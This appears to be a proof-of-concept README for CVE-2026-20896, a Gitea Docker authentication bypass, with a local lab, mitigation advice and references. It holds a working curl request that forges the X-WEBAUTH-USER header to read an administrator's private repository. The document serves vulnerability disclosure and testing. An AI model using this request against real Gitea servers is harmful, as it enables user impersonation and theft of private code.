CVE-2026-20896: Gitea Docker Image Authentication Bypass PoC

[!WARNING] Use this PoC only in a local lab or against a system you are explicitly authorized to test.

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

Overview

CVE-2026-20896 is an authentication bypass in affected official Gitea Docker images. When reverse-proxy authentication is enabled, the image-generated REVERSE_PROXY_TRUSTED_PROXIES = * setting allows a client that can reach the Gitea backend to impersonate an existing user through the X-WEBAUTH-USER header.

The lab creates an administrator named gitea-admin with a random password and stores CVE-2026-20896_AUTH_BYPASS_CONFIRMED in the private repository gitea-admin/private-proof. Reading that file without knowing the random administrator password demonstrates the bypass.

Affected Versions

The vulnerable configuration requires reverse-proxy authentication to be enabled and the Gitea backend to be directly reachable, or an upstream proxy to preserve the attacker-supplied identity header. A reverse-proxy container is not required for this local reproduction.

Environment

# build
docker build -t cve-2026-20896-gitea-vuln .

# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln

Wait a few seconds for Gitea and the private proof repository to initialize.

PoC

cURL

curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt

Successful exploitation returns CVE-2026-20896_AUTH_BYPASS_CONFIRMED.

Python

python poc.py http://127.0.0.1:3000

The script compares unauthenticated, non-admin, and forged administrator requests and prints VULNERABLE when the authorization bypass is confirmed. It requires Python 3.10 or later and uses only the standard library.

Impact

• Impersonation of known or guessable Gitea users
• Unauthorized access to private repositories and user resources
• Administrative actions when an administrator account is impersonated

Mitigation

• Upgrade to Gitea 1.26.3 or later; 1.26.4 or later is recommended.
• Restrict REVERSE_PROXY_TRUSTED_PROXIES to trusted proxy addresses.
• Prevent direct access to the Gitea backend and overwrite externally supplied identity headers.
• Disable reverse-proxy authentication when it is not required.

Cleanup

docker stop cve-2026-20896-gitea-vuln

References

• Gitea Security Advisory GHSA-f75j-4cw6-rmx4
• Gitea 1.26.3 and 1.26.4 release announcement
• Gitea security fix PR #38151